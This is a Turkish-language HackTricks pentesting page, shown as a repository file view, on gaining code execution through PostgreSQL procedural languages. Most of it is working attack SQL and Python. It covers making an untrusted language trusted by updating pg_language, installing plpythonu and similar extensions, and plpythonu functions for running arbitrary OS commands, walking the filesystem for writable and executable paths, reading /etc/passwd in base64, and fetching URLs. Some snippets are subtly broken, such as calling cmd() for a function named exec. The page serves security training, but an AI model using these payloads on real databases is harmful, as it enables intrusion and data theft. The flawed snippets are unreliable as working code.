6.6 KiB
Raw Blame History

RCE with PostgreSQL Languages

{{#include ../../../banners/hacktricks-training.md}}

PostgreSQL Dilleri

Erişim sağladığınız PostgreSQL veritabanında kötüye kullanabileceğiniz farklı betik dilleri yüklü olabilir ve bunları rastgele kod çalıştırmak için kullanabilirsiniz.

Onları çalıştırabilirsiniz:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

PostgreSQL'de kurabileceğiniz çoğu betik dili 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanların adı "u" ile biter ve kod çalıştırmanıza ve diğer ilginç işlevleri kullanmanıza izin veren versiyonlardır. Kurulduğunda ilginç olan diller şunlardır:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)

Warning

Eğer ilginç bir dilin kurulu ama PostgreSQL tarafından güvensiz olduğunu bulursanız (lanpltrusted false ise) PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla güvenilir hale getirmeyi deneyebilirsiniz:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language tablosu üzerindeki izinlerinizi kontrol etmek için
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Caution

Eğer bir dili göremiyorsanız, onu yüklemeyi deneyebilirsiniz (süperadmin olmanız gerekir):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Güvenli versiyonların "güvensiz" olarak derlenmesinin mümkün olduğunu unutmayın. Örneğin bunu kontrol edin. Bu nedenle, yalnızca güvenilir olanı bulsanız bile kod çalıştırmayı deneyip denemeye değer.

plpythonu/plpython3u

{{#tabs}} {{#tab name="RCE"}}

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

{{#endtab}}

{{#tab name="Get OS user"}}

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

{{#endtab}}

{{#tab name="Dizin listele"}}

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

{{#endtab}}

{{#tab name="W klasörünü Bul"}}

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

{{#endtab}}

{{#tab name="Dosya Bul"}}

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

{{#endtab}}

{{#tab name="Yürütülebilirleri Bul"}}

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

{{#endtab}}

{{#tab name="Exec bulma"}}

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

{{#endtab}}

{{#tab name="Oku"}}

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

{{#endtab}}

{{#tab name="İzinleri Al"}}

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

{{#endtab}}

{{#tab name="Request"}}

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

{{#endtab}} {{#endtabs}}

pgSQL

Aşağıdaki sayfayı kontrol edin:

{{#ref}} pl-pgsql-password-bruteforce.md {{#endref}}

C

Aşağıdaki sayfayı kontrol edin:

{{#ref}} rce-with-postgresql-extensions.md {{#endref}}

{{#include ../../../banners/hacktricks-training.md}}